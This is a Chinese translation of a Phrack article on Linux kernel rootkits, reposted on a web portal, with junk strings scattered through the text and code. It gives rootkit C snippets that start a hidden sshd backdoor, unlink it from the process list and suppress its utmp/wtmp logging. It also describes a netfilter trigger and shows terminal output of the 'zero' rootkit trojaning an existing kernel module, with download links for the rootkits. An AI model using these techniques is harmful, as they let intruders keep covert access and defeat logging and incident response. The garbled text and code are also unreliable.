你的位置:pcMing工作室 >> 资讯 >> windows >> 安全&病毒 >> 详细内容 在线投稿

基于内核的rookit经验

排行榜 收藏 打印 发给朋友 举报 来源: 互联网   发布者:未知
热度998票  浏览171次 【共0条评论】【我要评论 时间:2010年1月19日 22:06
pcMing工作室4{SJRn5T6icK

基于内核的rookit经验
^5z1qMt02006-11-26 15:12

)LUtB"m,Xf,_0==Phrack Inc.==pcMing工作室!z(Lu};h%TW
pcMing工作室*~!Br c b&x7TN%d1E(`
Volume 0x0b, Issue 0x3d, Phile 0x0e of 0x0f
2uV]\&S0pcMing工作室FN ?y*w?2Ff!K
|=-------------------------------------------------------------------=|
]9A6d8hg5^Q ]0|=----------------=[ Kernel Rootkit Experiences ]=-------------------=|
+ac]+}kY5g5@#H){0|=-------------------------------------------------------------------=|pcMing工作室5Wg7[KR.r
|=----------=[ Author: stealth <stealth@segfault.net> ]=-------------=|
h+O c7f1Fbg0|=-------------------------------------------------------------------=|pcMing工作室 i|9J+c1}9r7p z
|=----------=[ Translator: osmose <osmose@ph4nt0m.net> ]=------------=|pcMing工作室-H%FtoJ%j R

zI6T XW6X%g0译者:感谢alert7和OYXin对我的帮助。
/] zT E Bf1Jw0
^&X I+v,r Bs!t0pcMing工作室] X7k4D4xU+Z8[jN@
基于内核的rookit经验
:W5nNz;vS.M+fLA0
+Fh5{N L c|,W.J&v0--[ 内容
,NaZ:c7q4U5]0
:rp.`'t(Fh#I01 – Introduction
:@4kt UHh0
E"N5LY"|6q02 – Sick of it all?
9T ?c ?'h0pcMing工作室 _ v;[)p@9O_
3 - Let it logpcMing工作室Kx,p^7xC Ko`h ah
pcMing工作室U6_bB$C o
4 - Let it rock
j#y0}|V0
)M~'{6S|:SB5]05 - Thinking about linkingpcMing工作室+Va~P7o#b-h
pcMing工作室@5eF~SC
6 - as in 2.6pcMing工作室c@s?({.U3Oe*a

#q8G&TCwY07 – Last words & references
M C,k)S5u-I)w*}T\#e0
7Fx ~9vTT0
k0RGW-q0?/QL\0--[ 1 – IntroductionpcMing工作室 z1G9O3a"PDv
pcMing工作室DqDKS5O'?#zy
这篇文章关注的问题是基于内核的rootkit以及它在将来发展中如何受到那些“常见”后门的影响。基于内核的rookit已经面世一段时间了,而且肯定会继续存在下去,这个方向值得我们做点研究或者展望一下。pcMing工作室b'z#h@C+Q2I e

sf6Kk+`T0在阅读本文之前,你应该先读点关于netfilter hooks(译者注:目前一些网络过滤系统使用了hook技术,也就是一些钩子函数,在windows下属于exe执行程序类型,一般需要常驻内存)和LKM 模块重新链接的文章。(译者注:_blank>http://www.kv365.com/news/393.html这是一篇关于LKM后门的一篇不错的文章。w00w00有一篇关于LKM hacking的文章,地址是_blank>http://www.w00w00.org/files/articles/lkmhack.txt。 大鹰曾经翻译过,_writing/kernel_hacking.txt。)本文下面要谈的后门执行以及一些代码片断都涉及到这些知识。" target=_blank>http://www.e4gle.org/e4gle_writing/kernel_hacking.txt。)本文下面要谈的后门执行以及一些代码片断都涉及到这些知识。
bH!b __/B p3K6J0
!p%oa| ^'o_0不要把这篇文章太当回事。如果你大概的浏览一下就会发现这并不是一篇关于如何hack的教学。我只是讲述一点作为“adore后门作者(adore author)”,我去年的一些经历。(译者注:adore是一个LKM后门)这些经历包括在一些会议上为难那些头头,演讲中提出的一些稀奇古怪的问题,那些十万火急的求助信,IRC里的“adore后门垃圾(adore sucks)”的称号,以及来自.edu网站的祝贺等等。
)f%i%U p(d}&@0
To"Y$asL8f1I){0
"V}pg{h-v H0--[ 2 – Sick of it all?
/jusSC,xg0
.u6\[!W0OD2T0rootkit, 尤其是那些基于内核的rootkit,早在几年前就出现了。在这个方面已经有了一些研究成果。优秀成果很多,但是垃圾作品更多。如果你因为这个从来不看rootkit的文章,我表示充分的理解。良莠不齐,这实在让人头疼。然而,一些新的问题已经崭露头角并且以后会被rootkit(确切点说是他们的作者)关注。这些问题包括以下几个方面,当然并不仅仅包括这几个方面:pcMing工作室#V {)P(]ywht
- 新的内核版本以及零售商的改进pcMing工作室I P?] md
- 一些重要符号已不再导出(也就是sys_call_table)
\FHQt j0- 高级的日志功能和监听原理
4Y+N7WT2a+Ri0- 内核固化,安全的操作系统,等等pcMing工作室5PjgE}E`QH
- 入侵检测/异常行为侦测pcMing工作室%C,HY8T Yl)w1Qf]
- 高级的应急响应工具和分析手段
6pO0L%T(jT0pcMing工作室3l'[[~Wf
pcMing工作室 ] ii4{i Qm
实际上,在我做的adore-ng里面就涉及到上面的这些问题,比如我下面要说到的通过VFS层的重定向避免使用sys_call_table[],其中一部分还是当前正在研究的课题。Rootkit一般都包括[u,w]tmp文件的日志清除功能,但是这个功能和入侵者的“只需要最低权限”的原则相抵触。于是这个原则后来演化成“给系统添加最少的东西”。 所以我们的一个努力方向就是避免日志记录,要在后门的级别上(比如我们例子中的LKM级别)做到在目标机器上尽可能少的留下痕迹。pcMing工作室H;a#I:|u/]7T j.p
pcMing工作室-Z]gj*?6R2~!s ZMo
安全操作系统这个话题值得另开炉灶大书一笔。我也想好了自己要做那方面的内核固化。:-)
/`zeu6q*R nI`0pcMing工作室'rn\F5Z |'[W

S9[6d4bP0--[ 3 Let it log
,Ei1['y?&o d0
L,^0jr pF0某个应急响应安全公司在一个大学举办了一次关于rootkit的演讲,在演讲期间我想到一些不错的办法可以提高rootkit的隐蔽性。pcMing工作室&sNR$B1q \ld
pcMing工作室G6shxND2V
目前,一些高手可能已经不再给sshd二进制文件做什么补丁修改了。取而代之的是在一些地方放置一些适当权限的令牌(是的,对于应急响应这个工作来说,分布式认证机制是一个难伺候的东西)。因此,如果一个入侵者打算使用一些标准工具(他也可以安装一些以前卸载过、已经缺失的库或者包如果有三个管理员的话,你知道是哪个人在pc-5073这台机器上安装了openssh包吗?),一个LKM的rootkit在某种程度上必须确保把sshd发出的日志消息发送到空设备上,也就是/dev/null。比如下面这样:pcMing工作室iaQ9Vys h/P

]-RK&W$eIN7Q0static int ssh(void *vp)pcMing工作室 B'U9kf`E
{
m3n.A^F-[$Y|0char *a[] = {"/usr/bin/perl", "-e",
{hf4?`:|9k2x7f0"$ENV{PATH}='/usr/bin:/bin:/sbin:/usr/sbin'"pcMing工作室hs1]#Y6l6Vx
"open(STDIN,'</dev/null')open(STDOUT,'>/dev/null')"pcMing工作室K-Q"c:@;A&F#I!C2NI)g
"open(STDERR,'>/dev/null')"
y(btqk;n9?)ObB0"exec('sshd -e -d -p 2222')",pcMing工作室ZV| K3d V
NULL}
2K"oH3u-L;b0
6b,i-?0A!up f0task_lock(current)pcMing工作室 P$Qv%UrtHeqM
REMOVE_LINKS(current)pcMing工作室w9cxB V
list_del(¤t->thread_group)pcMing工作室3X oq\y7SB?tI
evil_sshd_pid = current->pidpcMing工作室K7m;_1fhpK;I
task_unlock(current)
eqh%Z\Y I+C0exec_usermodehelper(*a, a, NULL)
]G,} T5\YkN j0return 0pcMing工作室oj T0X]7H)c

'w O~&]%o!W0o0}pcMing工作室o$S/|7o%u*A|#|

+[l\nq*C0
"L#d&mZ6A#S0这个看起来可以称得上netfilter hooks的kernel_thread()函数了吧?pcMing工作室(t!T_!{7R.I6B Z`

L~8[}8y^F v0程序里的"-e" 是为了让sshd把日志发送到stderr,在我们这个例子里也就是/dev/null(译者注:就是“exec('sshd -e -d -p 2222') ”这句里的参数)。 看起来不错吧。pcMing工作室)OFu)@1Gl~B f
pcMing工作室\`9RVU {
"-d" 是一个开关,用来禁止sshd创建新的进程。这样做的好处是,当入侵者登录的时候,不会有什么端口被打开,别人也无法察觉。
1oXv*\qi c+r0pcMing工作室i ag`Z gT-^5M
REMOVE_LINK() 隐藏了这个进程,ps看不到,其他类似的工具也看不到。pcMing工作室Y:w4XHI_ Q yg/\P

WV}u(])}&NPg0s0要打开stdin这些设备,你需要使用perl,因为程序里的exec_usermodehelper()函数会在启动sshd之前关闭所有的文件。为什么要关闭所有的文件呢?因为这样,当sshd带“-e”参数运行时,stderr就和那些sockets混在了一起,分不出来了。pcMing工作室Ne` qrG"z*sc

o9w b_.u']C0要躲过utmp/wtmp/lastlog这些日志操作可以用下面的方法:
TT hIJ y8^.R0
8~4vMTDS8`0// 父进程必须是那个恶意的sshd(因为子进程是作为一个shell记录日志的)
k2`+c'Lq,[6S0if (current->p_opptr &&
u y(z*v2v4D^&U6Q-T l0current->p_opptr->pid == evil_sshd_pid && evil_sshd_pid != 0) {pcMing工作室E cX_+fc(RX
for (i = 0 var_filenames[i] ++i) {
8O5C3`1~ VB"h@fK3S8~0if (var_files[i] && f->f_dentry->d_inode->i_ino
j(I+pC%F kAL%J0==var_files[i]->f_dentry->diodes->i_ino) {pcMing工作室H)NE QE+r"M
task_unlock(current)pcMing工作室{[fgi9HJ/q
*off += blen
!QFW u%U0return blenpcMing工作室c9@sM%\/@EGw
}
at]9eaXX3tP&Q0}
o%@ x(p2Zs Bx0}
"g3wTW`V/n0
FY2x(o[j8V0上面的程序判断sshd是否记录日志或者试图把[u,w]tmp入口写入一些文件。当然啦,我们还要把write()函数在VFS层里重定向, 并且检查inode数目以过滤掉正确的写操作。(译者注:_blank>http://www.mcsr.olemiss.edu/cgi-bin/man-cgi?inode+4 在这里你可以找到一些关于inode的说明)实际上,我们还要检查superblock。不过我觉得sshd不会带着相同的inode#在另一个磁盘空间写文件。
p$p4Of`/J@P0
'J9_"aJ$O!]T)U8g0当有人登录的时候,一些 pam 模块就会打开一个session。所以,尽管那个恶意的sshd使用了log重定向,pam_unix2这样一个为用户启动的session 还是会被记录在案。pcMing工作室gE3p7wfz@ ]R-P
pcMing工作室"[|J2ben{
好了,看起来log的问题在以后的后门或者rootkis里还是可以解决的,而且我们用不着在系统的二进制代码方面纠缠太多。pcMing工作室/J"jQ:^0VH

:CQ{ Z,g3HN1C5U0pcMing工作室A!s,lz*SE
--[ 4 Let it rockpcMing工作室/m{[ P3s `#b4nr

]/L7pop'u,p0要启动一个恶意的sshd需要一定的触发条件,所以平时用nmap扫描不会找到任何开放的端口。当然啦,网络过滤方面的文章向你展示了如何自己建一些 icmp-hook 来做这些事情。这里不再赘述,听我说还不如去看看那些文章。不过有一点:根据我的经验,你不能直接从hook里启动一个程序。
8w)q;F8t1bG'c}4x&T0
Y#A/c@zY0如果一个服务程序运行时被打断,而hook恰好因为某种原因困在里面,这会引起系统内核崩溃。要解决这个问题,在启动sshd之前,我们需要设置一个标志来判断sshd是否可以启动:pcMing工作室]Wrf4ZK F%d&P
pcMing工作室3p_)U T|tRb)u)NN
if (hit && (hit-1) % HIT_FREQ == 0) {
n dbk,f*ij0write_lock(&ssh_lock)
'xHr&OQ0start_ssh = 1
\XQ!WGJ({0write_unlock(&ssh_lock)pcMing工作室 J-Mc ]/R
return NF_DROPpcMing工作室hb\1w:y{7X@oy
}
jBKzz']G9]0
.m*A%OX3F-d [^5c ?0不管怎么说,我们的工作都是混迹于VFS层里的,我们还要把open()函数的呼叫(/etc掌控的特定文件系统(FS)发起的呼叫)重定向。这样下一个进程如果使用了同样文件系统(FS)打开文件,恶意的sshd就会启动。
~fwI Z3s0
4kKU(Wr4FY0这个进程有可能是管理员执行的一个”ls”命令,也可以是我们通过一个真实的sshd来触发它,例子如下:pcMing工作室9wxO?Q3\/A3F]5m-v
pcMing工作室g3i;|I y
root@linux:root# telnet 127.0.0.1 22pcMing工作室$gJ:l+` v-c
Trying 127.0.0.1...
L(W pb)q`&K0Connected to 127.0.0.1.pcMing工作室.`K&Gyc.S*~`
Escape character is '^]'.pcMing工作室)St"V2@)\%s$ho1G
SSH-2.0-OpenSSH_3.5p1
4Ob-Eh l!VpH5t8O0SSH-2.0-OpenSSH_3.5p1 <<<<< 这是发起攻击的人的行为
7D X"p5a7GK0Connection closed by foreign host.
q0S |S qW2x^J0
;WUx9e,e|v){e"{Jo0在我的机器上,这会引起真正的sshd记录日志:
MWI$dN&l~&i0pcMing工作室4bWn:Z%FI2`T
sshd[1967]: fatal: No supported key exchange algorithmspcMing工作室x*~F7cT@nX*p

6f`~$e Hk o!a0如果不输入一个正确地协议字符串(a valid protocol-string),你的ip会被记录如下:
#C6G ^-i? O,EBWi0
F/Q'n7I5P!T(w0sshd[1980]: Bad protocol version identification '' from ::ffff:127.0.0.1
Jr;l*zEK7u$@2r0
z PsoDQG3]0或许还有其他一些像httpd的服务(这些服务不记录日志)会因为打开文件这样的一个操作触发恶意sshd的启动。pcMing工作室@x6BI$E+^ P|&K
pcMing工作室2WI u-My+j\s
显而易见,对于一个内核rootkit来说,拦截一些log消息还是可能的,但是这取决于应用程序以及你对这个程序的了解,比如它在什么时候记录日志,记录些什么。这不是件容易的事。不过在将来,入侵者可能会使用类似涂抹的手段(比如涂抹每一个由隐藏shell写出的log数据)。这样可以把所有管理员认为对入侵检测有用的日志都破坏掉。pcMing工作室4XW:QzR z3d B(m

^5C Go1eTp }#Yq:j0
;a\.Y z W!_R$v0--[ 5 Thinking about linkingpcMing工作室 Lu8i.GO4j9s

!l a]~(T7k0有一篇关于感染LKM(LKM infection)的文章,请读一读,那的确值得你化点时间看看:-)
9mT R'^xb0(译者注:就是本期phrack里面的《Infecting loadable kernel modules》)pcMing工作室F/{4m/L2CM%\5n
pcMing工作室%Y(R*C$d;bl[`s9i`
不过,也不需要沉溺于ELF文件格式。用一个简单的mmap()函数替代 init_module()和cleanup_module()就足够了。一个rootkit必须包括这部分程序,因为rootkit一定要方便操作,这样管理员可以轻松的在一个蜜罐系统(honeypot system)里做设置:
*LoT5V B0pcMing工作室]eg)P#}
pcMing工作室yS(Tc)mjo6rG
root@linux:zero# ./configurepcMing工作室:G or,Wc
Starting configuration ...pcMing工作室 G;jnV*x
generating secret pattern ...
[9?4|x$g"U0\\x37\\x8e\\x37\\x5fpcMing工作室 ^ PY:o ?Ch"J#\#l+Y!X
checking 4 SMP ... NO
{F0J hQH0checking 4 MODVERSIONS ...NOpcMing工作室)Nwo LiL u
pcMing工作室hY VO1L~,\+v;D

&Na]` d6t4t7?0你的隐蔽的ping命令写成: ping -s 32 -p 378e375f IPpcMing工作室r{@K6["P

/n2zc#C*Y!Z0root@linux:zero# make
$O7@M[|0cc -c -I/usr/src/linux/include -DSECRET_PATTERN=\"\\x37\\x8e\\x37\\x5f\"\pcMing工作室B$U7i%j?h
-O2 -Wall zero.c
!R?4KiV;mM"yE%I0cc -c -I/usr/src/linux/include -DSECRET_PATTERN=\"\\x37\\x8e\\x37\\x5f\"\
V1CS2[#iQ0-O2 -Wall -DSTANDALONE zero.c -o zero-alone.o
-? P7CJ0J0cc -c -I/usr/src/linux/include -DSECRET_PATTERN=\"\\x37\\x8e\\x37\\x5f\"\pcMing工作室S1@HR j X7Y x
-O2 -Wall cleaner.c
i!C E1fT4fv0root@linux:zero# ./setup (译者注:下面是zero配置的经过)
:SLe[ N`-io0
v%? R&OHr `7H0可以用下面的lkm模块:pcMing工作室]8BP'zE W

h#Pf3O1f4X3@*s1A0pcMing工作室3@@7E;E)F/S
af_packet ppp_async ppp_generic slhc iptable_filterpcMing工作室Ic8`~6dtxx"U,R
ip_tables ipv6 st sr_mod sgpcMing工作室5Qr iH;T i7rh
mousedev joydev evdev input uhci
^ Ee:p7a@ A4B"N6k0usbcore raw1394 ieee1394 8139too mii
(Fr!N%@2RX?{jr0scsi cd cdrom parport_pc ppapcMing工作室"[ z^ z`R a
pcMing工作室 O2y3{2DO r
Chose one: sg (在上面这些模块里选一个sg模块)pcMing工作室/KV$Vs Rh5N$T
Choice was >>>sg<<< (注意了:我们的选择是sg)pcMing工作室e3LIiu
Searching for sg.o ... (搜索一下它的位置)pcMing工作室1YpfcS^ w
Found /lib/modules/2.4.20/kernel/drivers/scsi/sg.o! (找到它的位置)pcMing工作室Rh$a9y"hu

h+{fjaSU$c0Copy trojaned LKM back to original LKM? (y/n) (准备插入)pcMing工作室%F}^k9Ou8C I
pcMing工作室i#H n2B*ZIH
...
H$uru5A0
sa@xo+J0(译者注:自从你选定了sg模块以后,上面这些过程应该都是由zero独自完成的,希望后面的中文注释没有干扰您的理解)
n@d!{Ep0
6J1lZ4FIWH0zero.o 是为一个选定模块的重链接做准备的,但是由于这个object文件已经插入内核里了,所以入侵者需要另一个独立的模块:pcMing工作室&T;`,bN+Mz6WU
zero-alone.o。
"N!I.l'`1H0
"m U2XO8D+J G0想了解更多的关于链接的内容以及用于不同平台的手法,请看看参考资料[1]里的一些文章。pcMing工作室 _{;O!JcAQ
pcMing工作室Z7TS,`!pNQz

b1y-s-@8l*[ i0v.@0--[ 6 as in 2.6
|"ey5_Y0
Z{N(H.}&]0就在我写这篇文章的时候,Linux 内核的2.6版本已经处于测试阶段了,不久第一个正式版就会推出。所以,这正是我们给它挑刺的时候。在参考资料[4] 里,你会发现一个adore-ng的版本,而且这个版本已经用在Linux kernel 2.6里了。pcMing工作室%Wd~ R.Ez T#x

O0k N,I#_0Yi\RY;{c0除了关心rootkit需要的那些新的头文件(headers),我们还得把一些需要重定向的函数的签名(signature)也改了。这不是什么太难的事情,也没有多大的挑战性。要注意的细节是:那些init和cleanup函数都必须通过另一种途径向LKM的载入程序做出声明:pcMing工作室Mp$ZKr5q!CX d

+z;NTo#PQ;a(yXo0#ifdef LINUX26pcMing工作室 R M#b:t#ai5^h/zd2X
static int __init adore_init()
Kr C2Ksp5d x0#elsepcMing工作室!\0c$R} rhK
int init_module()
0Wcf\GQW0#endif
DR7WF3H2s ~J6Y~4z0
Q]D,d.G0and
@:y{ R(JAX0
5p{4A8M/y+p9QP0static void __exit adore_cleanup()
y }(Y3v.s%}0#elsepcMing工作室PO@+~ lYqRt
int cleanup_module()pcMing工作室U8`]L*qM(p u7{n
#endif
$i;KsgA(J0
%y E$K%Wo0
b w0s\d8@6b f0...pcMing工作室@Rge} N a

Vd%WiC:a/WqW i&U0#ifdef LINUX26pcMing工作室 YFC;t0YSza
module_init(adore_init)pcMing工作室 ?R'Qw qm"X#E8L0z
module_exit(adore_cleanup)
} tp9K$ojuRE(R1N0#endif
n2AG] U&C?0
G{X[(C&O|0这也不是什么大不了的事情。 Adore-ng 已经使用新的VFS技术来隐藏文件和进程了,所以我们也不需要太关注sys_call_table这个层。
#]yr]:~Y0o/Nf%AB0
$ue&h$J b'n0把adore整合到2.6版本内核过程中最花时间的就是找出LKM究竟是怎么打造出来的。这不仅仅是把他们“cc”到一个object就可以解决的。你必须把它和其他一些从c文件编译得到的object文件链接起来。那些c文件包含了特定的infos和属性,比如:pcMing工作室r N{yaFi `%E

FIMsv1H6q)tZ5Cue0MODULE_INFO(vermagic, VERMAGIC_STRING)
;h n&\'V,Z*n.Tjtm0
a)h;DD3xpY5}0我不知道他们为什么要包含这些东西。
']PodN*\S:Ryp0pcMing工作室j I6HKnTQx
这都是为了2.6做的!没有什么新鲜的地方,除了内核中使用的一些hooks值得一看。:-)
| ?F&?1P![np0pcMing工作室/K ~({j,CF
pcMing工作室3e2f.|[ V8s6x/W-a%j7t
--[ 7 Last words & referencespcMing工作室.}V8F Z(v

n6\&h)y+N8C8cp k0zero 这个rootkit并不隐藏文件。它只是从任务列表里去掉了恶意的sshd进程从而隐藏它。不过如果这个rootkit进程或者它的子进程让系统“停下来(halt)”,那可就不妙了。我曾在一个SMP系统上测试这个rootkit,不论我用原来的办法还是考虑到版本不同使用“-f”insmod switch,它都被阻塞住了。如果谁希望得到一个使用SMP box的许可(当然是合法的啦),可以告诉phrack team或者我本人。zero只供试验使用,所以不要向我抱怨它没有GUI或缺少其他的功能。pcMing工作室R0@?"K3P y
pcMing工作室 ?[J#ST4})Z
pcMing工作室 fT z)b3Y9_1c
一些连接(译者注:就是前文提到的参考资料):
5|~T#APe-nA;N0
`4]C r8sx.^f0[1] Infecting Loadable Kernel Modules (在本期phrack中)pcMing工作室v|`Tx"YI%`fx
[2] Hacking da Linux Kernel Network Stack (在本期phrack中)pcMing工作室[8q5y2|0V7\ W"Z
[3] _blank>http://stealth.7350.org/empty/zero.tgzpcMing工作室+l)JZ p+y{1Tg7P s
(soon appears at _blank>http://stealth.7350.org/rootkits)
-j"N}$dXAZJ"Y0[4] _blank>http://stealth.7350.org/rootkits/adore-ng-0.24.tgz
1zkO)fR'`d([2Zd0pcMing工作室#S8p m}5v#zO

/}-l"r7dW U{0译者:这是我第一次翻译甚至是接触内核的文章。或许有误人子弟之嫌,所以我在把握不准或者我认为有助理解的地方都保留了原文的话。希望可以弥补点自己的不足。感谢alert7大哥百忙中抽空审核本文,提出很多很好的意见,使我获益匪浅。也感谢OYXin在我翻译过程中对我的帮助,现在在你眼前的很多词句都来源于他的建议。
Vlb ci,]%}O{9v0
/rih~(n3sh0这篇文章总体说来还是比较直观的。会英语的人都可以翻译它,至于linux内核的真正的殿堂,我还没有触摸到。最大的收获不是技术,是alert7大哥的一句:不要急于求成。pcMing工作室^"r ?IhfnE v]5p
pcMing工作室$wY9mP%y
最后,感谢您阅读本文。欢迎转载,但请保留本文的完整性,谢谢。
顶:52 踩:54
对本文中的事件或人物打分:
当前平均分:-0.46 (313次打分)
对本篇资讯内容的质量打分:
当前平均分:-0.03 (304次打分)
【已经有275人表态】
37票
感动
28票
路过
40票
高兴
30票
难过
37票
搞笑
27票
愤怒
39票
无聊
37票
同情
上一篇 下一篇
发表评论
换一张

网友评论仅供网友表达个人看法,并不表明本网同意其观点或证实其描述。

查看全部回复【已有0位网友发表了看法】

网络资源